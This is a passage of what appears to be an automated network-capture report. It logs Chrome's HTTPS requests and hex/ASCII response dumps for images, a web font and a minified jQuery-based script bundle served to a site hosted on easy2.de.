2025-01-14 14:56:01 UTC	4287	IN	Data Raw: 0a 69 66 20 28 21 57 65 62 50 6c 61 74 66 6f 72 6d 2e 6f 6e 52 65 61 64 79 29 20 7b 0a 20 20 57 65 62 50 6c 61 74 66 6f 72 6d 2e 64 6f 63 75 6d 65 6e 74 52 65 61 64 79 52 65 71 75 65 73 74 73 20 3d 20 5b 5d 3b 0a 20 20 57 65 62 50 6c 61 74 66 6f 72 6d 2e 6f 6e 52 65 61 64 79 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 72 65 71 75 65 73 74 29 20 7b 0a 20 20 20 20 69 66 20 28 57 65 62 50 6c 61 74 66 6f 72 6d 2e 64 6f 63 75 6d 65 6e 74 52 65 61 64 79 52 65 71 75 65 73 74 73 20 3d 3d 3d 20 6e 75 6c 6c 29 20 7b 0a 20 20 20 20 20 20 72 65 71 75 65 73 74 28 29 3b 0a 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 57 65 62 50 6c 61 74 66 6f 72 6d 2e 64 6f 63 75 6d 65 6e 74 52 65 61 64 79 52 65 71 75 65 73 74 73 2e 70 75 73 68 28 72 65 71 75 65 73 74 29 3b 0a Data Ascii: if (!WebPlatform.onReady) { WebPlatform.documentReadyRequests = []; WebPlatform.onReady = function (request) { if (WebPlatform.documentReadyRequests === null) { request(); } else { WebPlatform.documentReadyRequests.push(request);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49848	108.138.26.118	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:00 UTC	412	OUT	GET /s/87389112295097514/uploads/admin-files/EASY2_schwarz-4357245.png HTTP/1.1 Host: content.app-sources.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:56:01 UTC	578	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 4282 Connection: close Date: Sat, 11 Jan 2025 14:18:27 GMT Last-Modified: Thu, 04 Jan 2024 08:34:08 GMT ETag: "30e4d3580e0120fd8f2076da8a0a9139" x-amz-server-side-encryption: AES256 Cache-Control: public; max-age=31536000 Expires: Tue, 24 Dec 2024 08:34:06 GMT Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 f1a22cc8d842b0950e4bd5bda60806f2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P7 X-Amz-Cf-Id: -CqsxwaGf_4GVf_deEtgFt0com7gqEOctAdWbqC9CuYaqmgqvQqOGA== Age: 261455
2025-01-14 14:56:01 UTC	4282	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 88 00 00 00 23 08 06 00 00 00 4f 61 42 7f 00 00 10 81 49 44 41 54 78 da ed 9b 79 98 15 e5 95 c6 7f b7 fa 56 d3 40 a3 b8 21 62 07 14 57 0c e0 1a 22 10 37 c4 18 31 a9 51 31 a9 31 ea 24 ea 4c 8c 9a 28 46 07 b5 26 2e a3 b1 c6 88 5b d4 2c 26 b8 1b b5 24 06 53 c6 1d 31 08 2e 80 9a 80 8c 28 b2 19 10 45 16 65 ed e5 de fb 55 fe 38 a7 b8 d5 65 dd db b7 31 33 89 3c 9c e7 a9 87 db b5 7c db 79 cf 39 ef 39 df 47 8e cd 90 c0 73 f6 04 c6 02 c3 81 ae 40 0f 7d d4 02 bc 03 5c e6 fa e1 4c b6 ca e7 5e ac 1a c0 90 cb b8 bd 0e e8 02 ec 07 ec 0e ec a8 57 93 de df 98 d1 8e 15 78 4e dd d6 25 df 82 00 12 78 ce 4e c0 a0 f4 7d d7 0f 97 03 93 81 62 c6 67 f3 81 95 19 f7 8f 05 ce 0f 3c a7 f7 d6 65 ff a7 c5 82 ad 57 5d 55 80 04 9e Data Ascii: PNGIHDR#OaBIDATxyV@!bW"71Q11$L(F&.[,&$S1.(EeU8e13<\|y99Gs@}\L^WxN%xN}bg<eW]U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49852	108.138.26.118	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:00 UTC	431	OUT	GET /s/library/uploads/1_Pages/if_audio-video-outline-play_344692-4984036.png?format=webp HTTP/1.1 Host: content.app-sources.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:56:01 UTC	526	IN	HTTP/1.1 200 OK Content-Type: image/webp Content-Length: 2112 Connection: close Date: Tue, 14 Jan 2025 14:56:00 GMT Last-Modified: Sun, 29 Oct 2023 20:01:01 GMT ETag: "d56231a7d62f05103d86a88008dd6291" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 099a327961f82798658bf21aa210d4a0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P7 X-Amz-Cf-Id: S05ONcKLtT-tL6uu87E0kz83fkozTLHH9o6VhHq2UwoBf5zBNd9vPw== Age: 1
2025-01-14 14:56:01 UTC	2112	IN	Data Raw: 52 49 46 46 38 08 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 10 00 00 00 7f 00 00 7f 00 00 41 4c 50 48 cb 07 00 00 01 f0 86 fd ff f9 46 fe ff 3d 92 d4 9d a9 06 c7 ee 18 6b ef d8 b6 ed 45 ad b5 86 6b db b6 31 9e b5 77 74 74 6c bb e6 20 28 92 26 bd 5f c8 e3 f9 4a 9e 78 f3 52 44 4c 00 fd 7f 66 ca e0 cc a7 be fa 7b 5f a9 b3 3e 10 a8 77 96 ee fb eb cb 27 33 07 a7 fc 8b 88 1a b8 70 6d 29 c2 5c b2 e6 81 fe 51 86 bb 38 77 9d 07 92 dd 6b 73 2e 32 56 52 ee fa 00 94 0c fc 9d 9d 68 a2 be 9f d6 41 e1 da 4f 7a 1b c6 3e a3 00 ca 6f 9e 66 37 87 6d d6 21 84 ea 3f f2 dd 53 59 a3 bb 75 4c 8c 75 38 62 13 3b 76 1b 9d f5 f4 f2 a3 81 10 80 03 d3 6d 86 18 b6 07 d6 3d 3f 2c 1c 10 4b 61 8d 1b b8 e8 c7 5a 4b c0 ae c1 26 e8 b4 1a 96 cb 5f 1f 11 4d 52 a3 47 bd 59 69 05 58 d1 41 37 fb Data Ascii: RIFF8WEBPVP8XALPHF=kEk1wttl (&_JxRDLf{_>w'3pm)\Q8wks.2VRhAOz>of7m!?SYuLu8b;vm=?,KaZK&_MRGYiXA7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49856	169.150.236.105	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:01 UTC	713	OUT	GET /open-sans/files/open-sans-latin-400-normal.woff2 HTTP/1.1 Host: fonts.bunny.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mighty-calm-plum-toucan.easy2.de sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://fonts.bunny.net/css?display=swap&family=Open+Sans:regular%7CPlayfair+Display:italic%7CRoboto:300%7CHammersmith+One:regular Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:56:01 UTC	992	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:01 GMT Content-Type: font/woff2 Content-Length: 18668 Connection: close Server: BunnyCDN-IL1-1207 CDN-PullZone: 781720 CDN-Uid: 3a60ca70-b89d-4cd5-a4b5-34a3468d7e0f CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Server, x-goog-meta-frames, Content-Length, Content-Type, Range, X-Requested-With, If-Modified-Since, If-None-Match Access-Control-Expose-Headers: Server, x-goog-meta-frames, Content-Length, Content-Type, Range, X-Requested-With, If-Modified-Since, If-None-Match Cache-Control: public, max-age=2592000 ETag: "6760c6f3-48ec" Last-Modified: Tue, 17 Dec 2024 00:33:55 GMT CDN-StorageServer: NY-346 CDN-FileServer: 831 CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/18/2024 12:46:04 CDN-EdgeStorageId: 1207 CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 741b59cf1337eea89a9b6884a4bbcc29 CDN-Cache: HIT Accept-Ranges: bytes
2025-01-14 14:56:01 UTC	16384	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 48 ec 00 12 00 00 00 00 8b 0c 00 00 48 82 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 7c 1b 90 0a 1c 86 68 06 60 3f 53 54 41 54 5e 00 82 30 08 81 7c 09 9f 14 11 10 0a 81 b5 18 81 9b 2b 0b 84 32 00 01 36 02 24 03 88 60 04 20 05 84 78 07 89 1f 0c 85 1f 1b b6 7a 27 6f 03 ee 77 3b 80 e3 fa fc 36 11 45 c9 9c 15 a2 08 36 0e 08 86 b4 45 f2 ff ff 27 24 48 19 23 93 a2 d7 02 c2 ab 6e 31 58 0a 91 4a 55 2f af 64 94 4f cd ab bc 4a 43 85 27 4a 22 b4 76 ef 76 89 6c c4 68 fe 11 0d ac d0 75 87 53 bd 07 d8 53 59 cb f6 88 80 10 42 88 68 7a a3 6f 0b 7d 86 12 ff d2 d3 09 57 06 97 de 95 e3 f5 bb 25 6d 36 ee d3 de 41 1a c7 3d ce b6 f4 fb 98 5c 82 86 6d 99 20 0c 5d fb f2 ac 98 7e d4 aa 5b 8f af 0a 9f f3 dc 0d 03 f4 f3 Data Ascii: wOF2HH\|h`?STAT^0\|+26$` xz'ow;6E6E'$H#n1XJU/dOJC'J"vvlhuSSYBhzo}W%m6A=\m ]~[
2025-01-14 14:56:01 UTC	2284	IN	Data Raw: fa c5 47 6c 87 78 5d 54 7b e4 2a 61 82 fd cb c7 ac 8d 2c c3 aa 22 a4 36 26 25 78 59 0e 5a 5a 7e 24 86 2b 77 d3 08 67 30 cd 71 3a 35 ab 06 9b 7e fa 06 51 58 f7 98 bb 5f f3 9e 94 f2 e8 46 fc b4 65 2d bb 9b 63 9c 8b c7 a6 86 aa 3e 86 81 e2 04 fb 86 f0 a8 05 53 6a cc 92 51 80 a6 5f 75 8a 2c 99 37 c2 03 fb 48 69 81 78 18 1e 08 97 d3 ac 80 0c 1a d1 b4 4c 63 fd 6a 36 a0 c0 1a 05 b5 72 24 ee c2 b7 83 37 cf 0e 07 e7 62 12 af 03 bb aa 60 31 e9 64 01 a6 57 31 43 32 f4 df 91 79 14 49 55 52 13 5b 0a 40 10 2b 44 93 44 be 03 36 7d f9 df 25 cc 65 6f 85 27 8e d1 7b 8d a8 0e 95 8d 6a 53 f7 d8 5b d1 e5 22 4f 12 89 b9 4b 07 5a 0d 28 23 d5 e8 ca 20 f2 41 85 21 3e 66 02 2f 66 be 7a 6f d6 ad 73 19 09 f9 11 68 e2 7a 27 8e ab 9b 1b 11 e6 26 cc 70 02 31 87 bf 3c ab d4 3d 3a 41 ed Data Ascii: Glx]T{*a,"6&%xYZZ~$+wg0q:5~QX_Fe-c>SjQ_u,7HixLcj6r$7b`1dW1C2yIUR[@+DD6}%eo'{jS["OKZ(# A!>f/fzoshz'&p1<=:A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49854	143.204.98.128	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:01 UTC	386	OUT	GET /scripts/platform.client.min.js?v=1040 HTTP/1.1 Host: static.web-repository.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:56:01 UTC	553	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 697434 Connection: close Date: Wed, 08 Jan 2025 05:55:39 GMT Last-Modified: Wed, 08 Jan 2025 05:51:14 GMT ETag: "18f3c3af10fc0813bb350b99e4c428d1" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=31536000 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 1f49a084ca923f375f74b42fa36ef428.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA50-C1 X-Amz-Cf-Id: _Lv9g71tEmzki3bSwb3xBLOnrf22XDrqzSFS18kj8GsumrlOubJubg== Age: 550823
2025-01-14 14:56:01 UTC	15831	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 2f 0a 69 66 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 3f 28 28 63 6f 6e 73 6f 6c 65 7c Data Ascii: /! jQuery JavaScript Library http://jquery.com/ * * Includes Sizzle.js * http://sizzlejs.com/ * * Copyright jQuery Foundation and other contributors * Released under the MIT license * http://jquery.org/license * */if(window.jQuery?((console\|
2025-01-14 14:56:01 UTC	16384	IN	Data Raw: 66 3d 2b 2b 70 26 26 66 26 26 66 5b 6d 5d 7c 7c 28 79 3d 70 3d 30 29 7c 7c 68 2e 70 6f 70 28 29 29 26 26 28 28 73 3f 66 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 21 3d 3d 76 3a 31 21 3d 3d 66 2e 6e 6f 64 65 54 79 70 65 29 7c 7c 21 2b 2b 79 7c 7c 28 62 26 26 28 28 75 3d 28 64 3d 66 5b 77 5d 7c 7c 28 66 5b 77 5d 3d 7b 7d 29 29 5b 66 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 64 5b 66 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 65 5d 3d 5b 78 2c 79 5d 29 2c 66 21 3d 3d 74 29 29 3b 29 3b 72 65 74 75 72 6e 28 79 2d 3d 69 29 3d 3d 3d 72 7c 7c 79 25 72 3d 3d 30 26 26 79 2f 72 3e 3d 30 7d 7d 7d 2c 50 53 45 55 44 4f 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 69 3d 72 2e 70 73 65 75 64 6f 73 5b 65 5d 7c 7c 72 2e 73 65 Data Ascii: f=++p&&f&&f[m]\|\|(y=p=0)\|\|h.pop())&&((s?f.nodeName.toLowerCase()!==v:1!==f.nodeType)\|\|!++y\|\|(b&&((u=(d=f[w]\|\|(f[w]={}))[f.uniqueID]\|\|(d[f.uniqueID]={}))[e]=[x,y]),f!==t)););return(y-=i)===r\|\|y%r==0&&y/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]\|\|r.se
2025-01-14 14:56:01 UTC	16384	IN	Data Raw: 72 6e 20 76 6f 69 64 20 30 21 3d 3d 74 26 26 21 70 2e 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 28 74 29 7d 7d 3b 76 61 72 20 4e 3d 6e 65 77 20 4d 2c 52 3d 6e 65 77 20 4d 2c 71 3d 2f 5e 28 3f 3a 5c 7b 5b 5c 77 5c 57 5d 2a 5c 7d 7c 5c 5b 5b 5c 77 5c 57 5d 2a 5c 5d 29 24 2f 2c 7a 3d 2f 5b 41 2d 5a 5d 2f 67 3b 66 75 6e 63 74 69 6f 6e 20 42 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 6e 26 26 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 69 66 28 72 3d 22 64 61 74 61 2d 22 2b 74 2e 72 65 70 6c 61 63 65 28 7a 2c 22 2d 24 26 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 72 29 29 29 7b 74 72 79 7b 6e 3d 22 74 72 75 65 22 3d 3d Data Ascii: rn void 0!==t&&!p.isEmptyObject(t)}};var N=new M,R=new M,q=/^(?:\{[\w\W]\}\|\[[\w\W]\])$/,z=/[A-Z]/g;function B(e,t,n){var r;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(z,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n="true"==
2025-01-14 14:56:01 UTC	16384	IN	Data Raw: 6b 22 7d 3b 66 75 6e 63 74 69 6f 6e 20 6b 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 70 28 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 65 29 29 2e 61 70 70 65 6e 64 54 6f 28 74 2e 62 6f 64 79 29 2c 72 3d 70 2e 63 73 73 28 6e 5b 30 5d 2c 22 64 69 73 70 6c 61 79 22 29 3b 72 65 74 75 72 6e 20 6e 2e 64 65 74 61 63 68 28 29 2c 72 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 29 7b 76 61 72 20 74 3d 72 2c 6e 3d 78 65 5b 65 5d 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 22 6e 6f 6e 65 22 21 3d 3d 28 6e 3d 6b 65 28 65 2c 74 29 29 26 26 6e 7c 7c 28 28 74 3d 28 43 65 3d 28 43 65 7c 7c 70 28 22 3c 69 66 72 61 6d 65 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 27 30 27 20 77 69 64 74 68 3d 27 30 27 20 68 65 69 67 68 74 3d 27 30 27 2f 3e 22 29 29 2e 61 70 70 65 6e 64 54 6f 28 74 2e 64 Data Ascii: k"};function ke(e,t){var n=p(t.createElement(e)).appendTo(t.body),r=p.css(n[0],"display");return n.detach(),r}function Pe(e){var t=r,n=xe[e];return n\|\|("none"!==(n=ke(e,t))&&n\|\|((t=(Ce=(Ce\|\|p("<iframe frameborder='0' width='0' height='0'/>")).appendTo(t.d
2025-01-14 14:56:01 UTC	16384	IN	Data Raw: 22 6d 61 78 4c 65 6e 67 74 68 22 2c 22 63 65 6c 6c 53 70 61 63 69 6e 67 22 2c 22 63 65 6c 6c 50 61 64 64 69 6e 67 22 2c 22 72 6f 77 53 70 61 6e 22 2c 22 63 6f 6c 53 70 61 6e 22 2c 22 75 73 65 4d 61 70 22 2c 22 66 72 61 6d 65 42 6f 72 64 65 72 22 2c 22 63 6f 6e 74 65 6e 74 45 64 69 74 61 62 6c 65 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 70 2e 70 72 6f 70 46 69 78 5b 74 68 69 73 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 3d 74 68 69 73 7d 29 29 3b 76 61 72 20 74 74 3d 2f 5b 5c 74 5c 72 5c 6e 5c 66 5d 2f 67 3b 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 22 29 7c 7c 22 22 7d 70 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 61 64 64 Data Ascii: "maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],(function(){p.propFix[this.toLowerCase()]=this}));var tt=/[\t\r\n\f]/g;function nt(e){return e.getAttribute&&e.getAttribute("class")\|\|""}p.fn.extend({add
2025-01-14 14:56:01 UTC	16384	IN	Data Raw: 65 6e 74 54 79 70 65 7c 7c 22 22 29 2e 69 6e 64 65 78 4f 66 28 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 29 26 26 41 74 2e 74 65 73 74 28 74 2e 64 61 74 61 29 26 26 22 64 61 74 61 22 29 3b 69 66 28 73 7c 7c 22 6a 73 6f 6e 70 22 3d 3d 3d 74 2e 64 61 74 61 54 79 70 65 73 5b 30 5d 29 72 65 74 75 72 6e 20 69 3d 74 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 3d 70 2e 69 73 46 75 6e 63 74 69 6f 6e 28 74 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 29 3f 74 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 28 29 3a 74 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 2c 73 3f 74 5b 73 5d 3d 74 5b 73 5d 2e 72 65 70 6c 61 63 65 28 41 74 2c 22 24 31 22 2b 69 29 3a 21 31 21 3d 3d 74 2e 6a 73 6f 6e 70 26 26 28 74 2e 75 72 6c Data Ascii: entType\|\|"").indexOf("application/x-www-form-urlencoded")&&At.test(t.data)&&"data");if(s\|\|"jsonp"===t.dataTypes[0])return i=t.jsonpCallback=p.isFunction(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,s?t[s]=t[s].replace(At,"$1"+i):!1!==t.jsonp&&(t.url
2025-01-14 14:56:01 UTC	16384	IN	Data Raw: 72 3a 28 74 2f 3d 69 2f 32 29 3c 31 3f 72 2f 32 2a 4d 61 74 68 2e 70 6f 77 28 32 2c 31 30 2a 28 74 2d 31 29 29 2b 6e 3a 72 2f 32 2a 28 32 2d 4d 61 74 68 2e 70 6f 77 28 32 2c 2d 31 30 2a 2d 2d 74 29 29 2b 6e 7d 2c 65 61 73 65 49 6e 43 69 72 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 2c 69 29 7b 72 65 74 75 72 6e 2d 72 2a 28 4d 61 74 68 2e 73 71 72 74 28 31 2d 28 74 2f 3d 69 29 2a 74 29 2d 31 29 2b 6e 7d 2c 65 61 73 65 4f 75 74 43 69 72 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 2c 69 29 7b 72 65 74 75 72 6e 20 72 2a 4d 61 74 68 2e 73 71 72 74 28 31 2d 28 74 3d 74 2f 69 2d 31 29 2a 74 29 2b 6e 7d 2c 65 61 73 65 49 6e 4f 75 74 43 69 72 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 2c 69 29 7b 72 65 74 75 72 6e 28 74 2f 3d 69 2f Data Ascii: r:(t/=i/2)<1?r/2Math.pow(2,10(t-1))+n:r/2(2-Math.pow(2,-10--t))+n},easeInCirc:function(e,t,n,r,i){return-r(Math.sqrt(1-(t/=i)t)-1)+n},easeOutCirc:function(e,t,n,r,i){return rMath.sqrt(1-(t=t/i-1)t)+n},easeInOutCirc:function(e,t,n,r,i){return(t/=i/
2025-01-14 14:56:01 UTC	13785	IN	Data Raw: 6d 69 6e 69 6d 75 6d 44 69 67 69 74 73 2c 61 6e 69 6d 61 74 69 6f 6e 52 61 74 65 3a 74 68 69 73 2e 61 6e 69 6d 61 74 69 6f 6e 52 61 74 65 7d 29 2c 74 68 69 73 2e 74 69 6d 65 72 3d 6e 65 77 20 46 6c 69 70 43 6c 6f 63 6b 2e 54 69 6d 65 72 28 74 68 69 73 2c 72 29 2c 74 68 69 73 2e 6c 6f 61 64 4c 61 6e 67 75 61 67 65 28 74 68 69 73 2e 6c 61 6e 67 75 61 67 65 29 2c 74 68 69 73 2e 6c 6f 61 64 43 6c 6f 63 6b 46 61 63 65 28 74 68 69 73 2e 63 6c 6f 63 6b 46 61 63 65 2c 72 29 2c 74 68 69 73 2e 61 75 74 6f 53 74 61 72 74 26 26 74 68 69 73 2e 73 74 61 72 74 28 29 7d 2c 6c 6f 61 64 43 6c 6f 63 6b 46 61 63 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 22 46 61 63 65 22 2c 69 3d 21 31 3b 72 65 74 75 72 6e 20 65 3d 65 2e 75 63 66 69 72 73 74 28 Data Ascii: minimumDigits,animationRate:this.animationRate}),this.timer=new FlipClock.Timer(this,r),this.loadLanguage(this.language),this.loadClockFace(this.clockFace,r),this.autoStart&&this.start()},loadClockFace:function(e,t){var n,r="Face",i=!1;return e=e.ucfirst(
2025-01-14 14:56:01 UTC	16384	IN	Data Raw: 68 73 3a 22 d8 b4 d9 87 d9 88 d8 b1 22 2c 64 61 79 73 3a 22 d8 a3 d9 8a d8 a7 d9 85 22 2c 68 6f 75 72 73 3a 22 d8 b3 d8 a7 d8 b9 d8 a7 d8 aa 22 2c 6d 69 6e 75 74 65 73 3a 22 d8 af d9 82 d8 a7 d8 a6 d9 82 22 2c 73 65 63 6f 6e 64 73 3a 22 d8 ab d9 88 d8 a7 d9 86 d9 8a 22 7d 2c 46 6c 69 70 43 6c 6f 63 6b 2e 4c 61 6e 67 2e 61 72 3d 46 6c 69 70 43 6c 6f 63 6b 2e 4c 61 6e 67 2e 41 72 61 62 69 63 2c 46 6c 69 70 43 6c 6f 63 6b 2e 4c 61 6e 67 5b 22 61 72 2d 61 72 22 5d 3d 46 6c 69 70 43 6c 6f 63 6b 2e 4c 61 6e 67 2e 41 72 61 62 69 63 2c 46 6c 69 70 43 6c 6f 63 6b 2e 4c 61 6e 67 2e 61 72 61 62 69 63 3d 46 6c 69 70 43 6c 6f 63 6b 2e 4c 61 6e 67 2e 41 72 61 62 69 63 2c 6a 51 75 65 72 79 2c 46 6c 69 70 43 6c 6f 63 6b 2e 4c 61 6e 67 2e 44 61 6e 69 73 68 3d 7b 79 65 61 Data Ascii: hs:"",days:"",hours:"",minutes:"",seconds:""},FlipClock.Lang.ar=FlipClock.Lang.Arabic,FlipClock.Lang["ar-ar"]=FlipClock.Lang.Arabic,FlipClock.Lang.arabic=FlipClock.Lang.Arabic,jQuery,FlipClock.Lang.Danish={yea
2025-01-14 14:56:01 UTC	16384	IN	Data Raw: 74 61 6c 2d 74 68 69 73 2e 73 6c 69 64 65 73 2e 76 69 73 69 62 6c 65 3f 22 61 64 64 22 3a 22 72 65 6d 6f 76 65 22 29 2b 22 43 6c 61 73 73 22 5d 28 72 2e 64 69 73 61 62 6c 65 64 29 7d 2c 65 5b 61 5d 2e 64 65 66 61 75 6c 74 73 5b 6f 5d 3d 7b 70 72 65 76 3a 21 65 5b 61 5d 2e 73 75 70 70 6f 72 74 2e 74 6f 75 63 68 2c 6e 65 78 74 3a 21 65 5b 61 5d 2e 73 75 70 70 6f 72 74 2e 74 6f 75 63 68 7d 2c 65 5b 61 5d 2e 61 64 64 6f 6e 73 2e 70 75 73 68 28 6f 29 2c 65 5b 61 5d 2e 75 69 2e 70 75 73 68 28 22 70 72 65 76 22 29 2c 65 5b 61 5d 2e 75 69 2e 70 75 73 68 28 22 6e 65 78 74 22 29 2c 65 5b 61 5d 2e 75 69 2e 70 75 73 68 28 22 63 6c 6f 73 65 22 29 7d 28 6a 51 75 65 72 79 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 22 74 6f 73 72 75 73 Data Ascii: tal-this.slides.visible?"add":"remove")+"Class"](r.disabled)},e[a].defaults[o]={prev:!e[a].support.touch,next:!e[a].support.touch},e[a].addons.push(o),e[a].ui.push("prev"),e[a].ui.push("next"),e[a].ui.push("close")}(jQuery),function(e){var t,n,r,i="tosrus

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49855	143.204.98.14	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
